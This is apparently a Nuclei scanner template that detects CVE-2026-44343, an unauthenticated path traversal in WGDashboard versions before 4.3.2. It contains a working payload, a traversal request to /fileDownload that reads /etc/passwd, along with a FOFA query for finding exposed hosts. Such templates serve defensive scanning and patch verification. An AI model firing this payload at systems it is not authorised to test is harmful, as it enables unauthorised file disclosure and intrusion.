WGDashboard < 4.3.2 - Unauthenticated File Read

id: CVE-2026-44343

info:
  name: WGDashboard < 4.3.2 - Unauthenticated File Read
  author: str4k3r
  severity: critical
  description: |
    WGDashboard < 4.3.2 contains a path traversal vulnerability caused by improper access control, letting unauthorized attackers access the host file system without authentication.
  impact: |
    Unauthorized attackers can access the host file system, potentially exposing sensitive data and compromising the system.
  remediation: |
    Update to version 4.3.2 or later.
  reference:
    - https://github.com/WGDashboard/WGDashboard/security/advisories/GHSA-rrf5-q4fp-qvgm
    - https://github.com/WGDashboard/WGDashboard/commit/b15bbce9bc5554ec379d558f032c730db47fcea2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44343
  classification:
    cve-id: CVE-2026-44343
    cwe-id: CWE-22
    cvss-score: 9.8
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  metadata:
    verified: true
    max-request: 2
    vendor: wgdashboard
    product: wgdashboard
    fofa-query: title="WGDashboard"
  tags: cve,cve2026,wgdashboard,lfi,path-traversal,file-read,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(tolower(body), "wgdashboard", "wireguard")'
        condition: and
        internal: true

  - raw:
      - |
        GET /fileDownload?file=../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "root:x:0:0:")'
        condition: and
# digest: 4a0a004730450221009f66f091012d81e027cf0f34447000f7750b9335b9335b208d5135d0eb93f58402206d5eb661643841355506794073bb38ce0a2b43381e6aa4f06622d90be3aac5ea:922c64590222798bb761d5b6d8e72950